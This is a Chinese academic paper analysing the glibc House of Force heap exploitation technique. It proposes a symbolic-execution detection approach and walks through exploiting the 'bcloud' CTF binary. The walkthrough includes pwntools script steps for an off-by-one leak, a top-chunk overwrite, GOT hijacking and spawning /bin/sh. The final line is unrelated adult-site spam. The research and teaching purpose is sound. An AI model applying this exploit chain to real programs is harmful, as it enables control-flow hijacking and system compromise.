?

二進制程序中House of Force漏洞利用技術分析

2022-12-09 04:53王偉兵
關鍵詞:漏洞內存分配

王偉兵

(廣東警官學院網絡信息安全系,廣東廣州 510230)

0 引言

二進制緩沖區漏洞主要包括棧溢出和堆溢出兩種類型。棧溢出漏洞觸發后,可通過覆蓋保存在棧上的函數返回地址,進而劫持控制流。但是如果緩沖區位于堆上,即使溢出,也無法直接控制程序的執行,僅能通過進一步破壞數據來間接劫持程序的控制流,在分析思路和成功利用的復雜性上都高于棧溢出漏洞[1]。

隨著NX(No-eXecute,棧不可執行)、Canary(金絲雀,也稱之Stack Cookie)、PIE(Position Independent Executables,位置無關可執行文件)、ASLR(Address Space Layout Randomization,地址空間布局隨機化)和棧保護(SSP,Stack Smashing Protector)等緩解機制的開發和成功應用[2],棧溢出漏洞被成功利用變得越來越困難。近年來,二進制程序漏洞的研究開始聚焦于堆漏洞的分析和利用。隨著堆的漏洞不斷被挖掘出來,相應的利用方法也被開發出來,為了彌補這些漏洞,Glibc也對自身的算法和代碼進行了針對性地修補,但是仍然存在漏洞被利用的可能。

2005年,Phantasmal Phantasmagoria發表了一篇文章The Malloc Maleficarum-Glibc Malloc Exploitation Techniques,介紹了利用Glibc堆管理機制中一些漏洞的利用方法,為之后攻擊者開發新的利用方法以及Glibc加固自身代碼提供了參考。而House of Force就是一種通過攻擊top chunk獲得目標內存區域控制權的漏洞利用技術。針對House of Force攻擊,Linux系統和Glibc提供了漏洞緩解、堆塊尺寸檢測等防御保護機制,避免程序被劫持控制流。但是,實踐證明,在特定情況下,House of Force攻擊仍是一種有效的攻擊方式。

國內很少有針對House of Force漏洞利用技術進行詳細分析的文獻,裴中煜等[1]雖然提出了Glibc堆利用的若干方法,但是對House of Force的介紹非常簡略,沒有給出完整的原理性分析,也沒有給出具體的成功利用步驟。潘傳幸等[3]提出了面向進程控制流劫持攻擊的擬態防御方法,但是沒有專門針對House of Force提出防御方法。邵思豪等[4]雖然論述了緩沖區溢出漏洞分析技術研究進展,但是沒有涉及House of Force。本文則專門針對House of Force技術進行詳細的論述,包括對其技術原理進行了分析,在此基礎之上提出針對該技術可利用漏洞的檢測方法,包括生成崩潰輸入、符號化種子輸入、基于符號執行的漏洞檢測和生成測試用例等過程,然后通過審計有漏洞的程序代碼,發現該程序的漏洞點,并通過House of Force技術編寫腳本,實現了漏洞的成功利用,最后指出了對House of Force攻擊的防御思路和方法。

1 分析基礎

堆(heap)是一種全局的數據結構,用以動態管理系統內存[5]。與堆相對應的是棧,棧也是一種動態的內存結構,但是棧并不是人工分配用以存儲數據的,而是由系統自動分配的。和棧相比,堆具有更多的靈活性,典型的區分就是在C語言當中,在函數里面聲明的局部變量就是存儲在??臻g,是自動分配的,而使用malloc函數分配的內存則位于堆空間,是應用程序向系統“索取”的內存空間。

Linux利用Glibc實現堆的管理。Glibc提供了一些堆管理函數的實現,典型的有malloc、free、realloc等,這些函數通過系統調用(操作系統提供的基礎函數,用來和操作系統內核進行交互)來實現其功能,例如brk()或者mmap()等。對于堆內存管理而言,堆塊(chunk)是最小的分配和釋放單位,堆塊在處于使用狀態時的如圖1所示。其中prev_size表示相鄰的前一個堆塊(并非指鏈表中的前一個堆塊,而是連續內存中的前一塊內存)的大小,單位為字節;size表示本堆塊的大小;P標志(PREV_INUSE),用于標識相鄰的前一個堆塊的狀態,等于1時,表示前一個堆塊處于使用狀態,等于0時表示前一個堆塊處于空閑狀態;M標志(IS_MAPPED)用于標識一個chunk是否是從mmap()函數中獲得,如果應用程序中申請一個相當大的內存,malloc()函數會通過mmap()函數分配一個映射段。

圖1 處于使用狀態的堆塊結構

堆基本上都是從內存低地址空間向高地址空間分配堆塊,在每個arena(分配區)中空閑內存的最高地址處一定會存在一塊空閑堆塊,這個堆塊就是top chunk。top chunk的作用是作為堆的后備空間,當用戶申請堆塊時,如果各空閑堆塊組成的鏈表(bin)中沒有空閑堆塊可提供時(鏈表為空,或者鏈表中空閑堆塊不滿足新申請堆塊尺寸要求),Glibc將會從top chunk中分割出一個堆塊提供給用戶[5]。此時top chunk的起始地址將會變為切割后剩余空間的起始地址,top chunk的size域會被修改為原size減去新申請堆塊的尺寸。也就是說,top chunk的起始地址和size域是隨著堆的分配而不斷變化的。

2 House of Force攻擊分析

House of Force攻擊是通過溢出top chunk的size域來欺騙Glibc,使得攻擊者在調用函數malloc申請一個超大尺寸堆塊時,能夠通過top chunk來進行分配。當分配完成時,top chunk的位置會被調整,即在舊位置上加上這個超大整數,造成整數溢出,結果是top chunk被調整到堆之前的內存地址(如.bss段、.data段、GOT表等)。下次再執行malloc函數時,就會分配到這樣一個堆塊:其數據域指向top chunk被調整之后的地址(目標內存區域地址)。這樣,攻擊者就能夠控制目標內存區域。

攻擊思路如下:

(1)攻擊者利用程序漏洞(如堆溢出)把top chunk的size域修改成一個大整數(結構體malloc_chunk中size域的類型其實是unsigned int類型,故如果將size域修改為-1,則將被認為是size的最大值0xffffffff);

(2)當用戶申請一個超大尺寸的堆塊時(略小于0xffffffff),由于bin中沒有滿足尺寸要求的空閑堆塊可以分配,Glibc將從top chunk中進行分配;

(3)分配時,top chunk的起始地址加上申請堆塊的尺寸,將造成整數溢出,使得分配完成后,top chunk的起始地址移動到內存空間中的低地址部分(目標內存區域),如.data段、.bss段、GOT表等;

(4)接下來再次分配堆塊時,就可以從目標內存空間獲得堆塊,從而就獲得了目標內存區域的控制權。

按照以上過程,House of Force攻擊時堆空間的演化過程如圖2所示。

需要注意的是,欲控制的目標內存區域一般位于.data段、.bss段、GOT表中,這些內存區域位于內存空間中的低地址部分,而堆空間地址大于這些內存區域地址。為了讓top chunk的起始地址調整到目標內存區域中,就必須從top chunk中分配一個足夠大的堆塊(稱之為evil chunk)。這樣的話,分配evil chunk之前的top chunk首地址,加上evil chunk的尺寸,就會造成整數溢出,使得計算結果變成小整數,最終使得top chunk移動到內存空間中的低地址部分,即top chunk會在如圖2所示的內存空間中移動。

圖2 House of Force攻擊時堆空間演化過程

如果定義目標內存區域首地址為target_addr,當前top chunk的首地址為top_chunk_addr,evil chunk的尺寸為evil_chunk_size,則有以下公式:

evil_chunk_size=target_addr-top_chunk_addr-4*SIZE_SZ,在32位系統中,SIZE_SZ等于4字節,而在64位系統中,SIZE_SZ等于8字節。

3 House of Force漏洞檢測

針對House of Force技術可以攻擊的漏洞,檢測方法包括生成崩潰輸入、符號化種子輸入、基于符號執行的漏洞檢測和生成測試用例等過程。該方法需要首先通過模糊測試[6],生成可導致目標程序崩潰的二進制輸入文件;然后利用符號執行引擎[7],將二進制輸入文件標記為符號化的污點數據,作為種子輸入,驅動目標程序進行符號執行。在符號執行過程中,所有受符號化輸入影響的內存區域將被標記為符號值。這些被標記為符號值的內存區域稱為污點區域,對應的數據亦被稱為污點數據。通過檢查內存的符號化屬性,可實現污點數據判斷,為構造House of Force攻擊所依賴的數據約束創造條件[8]。

從前面攻擊分析可知,可以通過House of Force攻擊實現控制流劫持的程序存在4個特征:

(1)存在堆溢出漏洞;

(2)能夠以溢出的方式控制到top chunk的size域;

(3)能夠泄露出top chunk的地址;

(4)能夠自由地控制堆分配chunk的大小。

因此定義程序的特征如下:①堆溢出特征(IS_HO),表示程序中存在溢出漏洞,例如off-by-one;②修改top chunk的size域特征(IS_TS),表示程序中存在的溢出漏洞可以被利用來覆蓋或修改top_chunk的size域,使之等于一個非常大的大整數;③泄露堆地址特征(IS_HA),表示通過off-by-one漏洞、函數strcpy、函數puts等組合,可以輸出top chunk地址。即使不能直接泄露top chunk地址,但是如果能泄露其他chunk的地址,也可以通過計算獲知top chunk的地址,這樣就可以計算出evil chunk的地址;④自由分配堆塊特征(IS_FS),表示程序中可以分配任意尺寸的chunk,這樣就可以通過分配大尺寸evil_chunk,使得top chunk調整到目標內存區域。那么下一次成功分配chunk,便可以獲得目標內存區域的控制權。

當待檢測程序同時存在堆溢出特征、修改top chunk的size域特征、泄露堆地址特征、自由分配堆塊特征這4種特征時,就可以斷定當前程序存在House of Force可利用的漏洞,此時,攻擊者可以使用House of Force技術,通過劫持程序流,從而獲得系統控制權。定義House of Force攻擊特征為HFH,該變量可通過上述四種特征合取得到,關系式如下所示:

程序運行過程中chunk狀態定義如下:

二元組S=(s_addr,s_size),描述符號化區域的特征,s_addr表示符號化區域的起始地址,s_size表示符號化區域的大小。

四元組C=(c_addr,c_size,c_state,header),描述單個chunk在程序動態運行過程中狀態的變化:c_addr表示chunk地址(指向堆塊的指針);c_size表示chunk數據區域的長度;c_state表示chunk狀態(已分配狀態還是已釋放狀態);header=(prev_size,size,fd)描述了本chunk頭部header值的變化。

symb_map表示所有符號化區域的集合,allo_chunk表示所有處于分配狀態的堆塊集合,free_chunk表示所有處于釋放狀態的堆塊集合。

在程序漏洞檢測過程中,可使用符號執行和污點分析技術,通過對棧內存的監控以及掛鉤strcpy等函數,可以觸發堆溢出特征;通過對堆內存的監控,即可獲知top chunk的地址和size域,從而觸發修改top chunk的size域特征;然后使用符號內存搜索算法,檢測off-by-one漏洞、函數strcpy、函數puts等組合,便可觸發泄露堆地址特征;通過掛鉤malloc函數,監控程序堆塊的分配情況,當檢測到待分配的chunk的size域可控時,便觸發自由分配堆塊特征。在上述特征都被觸發的情況下,繼續從top chunk中分配chunk,導致包含目標內存區域的chunk被分配出來,則可以實現目標地址內容被修改,進而實現控制流劫持。

4 House of Force漏洞利用

4.1 待攻擊程序說明

下面以一道CTF比賽題目bcloud為示例程序[9],說明通過House of Force進行漏洞利用的思路和方法。

檢查程序安全性,發現RELRO(只讀重定向)被設置為Partial模式,Canary(棧的金絲雀保護機制)已開啟,NX開啟,PIE(地址無關可執行文件)未啟用。

利用IDA對可執行程序進行反編譯后審計其源代碼,發現程序有以下幾個問題:

(1)main函數中,在進入while循環之前,首先調用了welcome函數,在welcome函數中,調用了函數input_name和input_org_host;

(2)函數input_name中,先調用函數iread向數組s中寫入0x40大小的數據;然后調用函數malloc(0x40)申請內存,得到的chunk大小為0x48(因為是32位程序,chunk的頭部prev_size域和size域各占4各字節);接下來調用函數strcpy,把數組s中的數據拷貝到剛剛申請的chunk的用戶數據區域;最后調用函數out_name輸出chunk數據區域中的數據;

(3)函數iread的功能是向緩存區中逐個讀入字符,直到緩沖區填滿或碰到結束標志字符(一般是換行符0x0a),最后在末尾增加一個字符串結束字符0x00。這里就存在一個off-by-one漏洞,即當用戶輸入的字符數大于等于緩存區長度時,字符串結束字符0x00不會出現在緩沖區中,而是出現在緩沖區后面。如果后面的代碼用非0x00覆蓋掉緩沖區后面的數據,就會造成拷貝或輸出該字符串時越界,從而泄露緩沖區后面的信息[10]。??臻g和堆空間的變化如圖3所示。

圖3 函數input_name執行時內存空間變化

(4)函數input_org_host中,在棧上定義了兩個數組和兩個指針變量,調用兩次函數iread向兩個數組分別讀入用戶輸入的兩個字符串,并向堆申請了兩個chunk,最后調用函數strcpy將兩個字符串拷貝到兩個堆塊的數據域中。

同樣的,當用戶輸入的兩個字符串長度均大于等于0x40時,也會觸發函數iread中的off-by-one漏洞。具體的棧和堆內存的變化情況如圖4所示。

圖4 函數input_org_host執行時內存空間變化

(5)在main函數中,調用函數menu,輸出菜單,接收用戶輸入,當用戶輸入分別為1、2、3、4時,分別調用函數new_note、show_note、edit_note、delete_note。

函數new_note的功能是根據用戶輸入的note尺寸申請chunk,然后向chunk的data域輸入note的內容。chunk的data域起始地址被存儲到全局數組ptr_array中,用戶輸入的note尺寸被存放到全局數組size_array中。

函數edit_note的功能是先從全局數組ptr_array和ptr_size中取出note的地址和大小,然后調用函數iread重新獲取用戶輸入并寫入chunk的數據區域。

函數delete_note的功能是先從全局數組ptr_array中取出note的地址,釋放chunk,然后將全局數組ptr_array和ptr_size中相應元素置0。

其余的幾個函數功能很簡單,不再贅述。

4.2 利用過程

4.2.1 獲得目標內存區域控制權

(1)獲取堆塊地址

在函數input_name執行時,輸入0x40個字母A,觸發off-by-one漏洞,泄露chunk1數據域起始地址。為此,編寫腳本如下:

io.sendafter("Input your name: ",'A'*0x40)

io.recvuntil('a'*0x40)

chunk1_data_addr=u32(io.recvn(4))

log.info('chunk1_data_addr:0x%x'% chunk1_data_addr)

(2)覆蓋top chunk的size域

執行函數get_org_host,輸入0x40個字母X和0x40個字母Y,觸發函數iread中的off-by-one漏洞,覆蓋top chunk的size域,將其修改為0xffffffff(-1)。增加腳本代碼如下:

io.sendafter("Org: ",'X'*0x40)

io.sendafter("Host: ",p32(0xffffffff)+(0x40-4)*b'Y')

io.recvuntil("OKay!Enjoy:) ")

(3)利用House of Force漏洞,調整top chunk的數據域到ptr_array

第1步中分配的chunk數據域的起始地址為chunk1_data_addr,數據域長度為0x40,而第2步中分配的兩個chunk的尺寸之和為(0x08+0x40)*2=0x90,其中0x08為堆塊頭部的長度(prev_size+size)。所以此時top chunk的起始地址top_chunk_addr=chunk1_data_addr+0x40+0x90=chunk1_data_addr+0xC0。

為了使新的top chunk的數據域起始地址指向數組ptr_array,此時必須分配一個大尺寸堆塊,命名為evil chunk,其數據域長度等于ptr_array-top_chunk_addr-16。

調用new_note,新建note0,即分配evil chunk,其數據域起始地址存放于ptr_array[0]中。注意,源代碼中,由于調用malloc(size+4)分配chunk,即輸入的size必須小于evil chunk數域尺寸4個字節。增加腳本代碼如下:

io.sendafter("Org: ",'X'*0x40)

io.sendafter("Host: ",p32(0xffffffff)+(0x40-4)*b'Y')

io.recvuntil("OKay!Enjoy:) ")

top_chunk_addr=chunk1_data_addr+0xd0

evil_data_size=ptr_array-top_chunk_addr-16

new_note(evil_data_size-4,"")

(4)從ptr_array連續分配4個chunk

調用new_note,連續創建4個尺寸為0x40的note:note1、note2、note3、note4,即分配chunk A、chunk B、chunk C、chunk D,尺寸均為0x44個字節。這4個chunk的數據域首地址分別存放于ptr_array[1-4]中。

這樣的話,chunkA的數據區域就是數組ptr_array的存儲區域。此時,如果編輯note1(chunk A的數據區域),就能直接修改ptr_array數組中保存的所有chunk的數據域起始地址。

增加腳本代碼如下:

new_note(0x40,'AA') #1

new_note(0x40,'BB') #2

new_note(0x40,'CC') #3

new_note(0x40,'DD') #4

4.2.2 getshell

(1)泄露庫函數printf的加載地址

調用edit_note,編輯note1,將ptr_array[2]設置為free@got,將ptr_array[3]設置為printf@got。

調用edit_note,編輯note2,將ptr_array[2]中保存的地址(free@got)指向的內容修改為puts@plt,也就是將free@got中保存的庫函數地址修改為puts@plt的地址。此后,如果調用函數free,實際上調用的是函數puts。

調用delete_note,刪除note3,即調用函數free(ptr_array[3]),實際上調用的是puts(printf@got),即可泄露出庫函數printf已加載的地址。

增加腳本代碼如下:

edit_note(1,p32(0)+p32(0x804b120)+p32

(free_got)+p32(printf_got))

edit_note(2,p32(puts_plt))

del_note(3)

msg=io.recvuntil("Delete success. ")

printf_addr=u32(msg[:4])

log.info('printf_addr:0x%x'% printf_addr)

(2)計算庫函數system的加載地址

從已經獲知的庫函數printf加載地址,減去庫函數printf的庫內偏移地址(從libc.so中可以查到),就是libc的加載地址,然后加上庫函數system的庫內偏移地址(從libc.so中可以查到),就是庫函數system的加載地址[11]。

增加腳本代碼如下:

libc_addr=printf_addr-libc.symbols["printf"]

system_addr=libc_addr+libc.symbols["system"]

log.info('system_addr:0x%x'% system_addr)

(3)執行函數system

調用edit_note,編輯note1(即編輯chunk A,也就是編輯數組ptr_array的存儲區域),將ptr_array[0]設置為ptr_array[4]的地址(0x804b130),ptr_array[2]設置為free@got,并從ptr_array[4]開始寫入字符串“/bin/sh”。

調用edit_note,編輯note2,將free@got指向的內容修改為庫函數system的加載地址。

調用delete_note,釋放note0,即調用函數free(ptr_array[0]),實際上是調用函數system(“/bin/sh”),即可getshell。

增加腳本代碼如下:

edit_note(1,p32(0x804b130)+p32(0)+p32

(free_got)+p32(0) +b'/bin/sh')

edit_note(2,p32(system_addr))

del_note(0)

io.interactive()

5 結語

House of Force是一種堆溢出的利用方法,當然能夠通過House of Force進行利用的不只是堆溢出漏洞。如果一個堆漏洞想要通過House of Force方法進行利用,需要兩個條件:①用戶能夠以溢出等方式控制到top chunk的size;②用戶能夠自由地控制堆分配尺寸的大小。House of Force產生的根本原因在于Glibc對top chunk的處理,即Glibc在進行堆分配時,會從top chunk中分割出相應的大小作為堆塊的空間,因此top chunk的位置會發生上下浮動以適應堆內存分配和釋放。

針對House of Force攻擊,Linux系統和Glibc提供了漏洞緩解、堆塊尺寸檢測等防御保護機制,避免程序被劫持控制流。但是,實踐證明,在特定情況下,House of Force攻擊仍是一種有效的攻擊方式。如果應用程序設計不當,便可能觸發House of Force漏洞,危害十分巨大。

另外,對于House of Force的攻擊的防御,可以從Glibc的堆分配機制考慮,如,限定堆塊分配后top chunk首地址不能小于分配之前的首地址,這樣就可以避免top chunk的首地址轉移到.bss段、.data段和GOT表等區域。當然最根本的辦法,還是要求程序員在開發程序時,避免出現堆和棧溢出等漏洞,以避免攻擊者篡改top chunk的size域以及泄露top chunk的首地址。

猜你喜歡
漏洞內存分配
漏洞
應答器THR和TFFR分配及SIL等級探討
“春夏秋冬”的內存
遺產的分配
一種分配十分不均的財富
三明:“兩票制”堵住加價漏洞
漏洞在哪兒
高鐵急救應補齊三漏洞
內存搭配DDR4、DDR3L還是DDR3?
基于內存的地理信息訪問技術
91香蕉高清国产线观看免费-97夜夜澡人人爽人人喊a-99久久久无码国产精品9-国产亚洲日韩欧美综合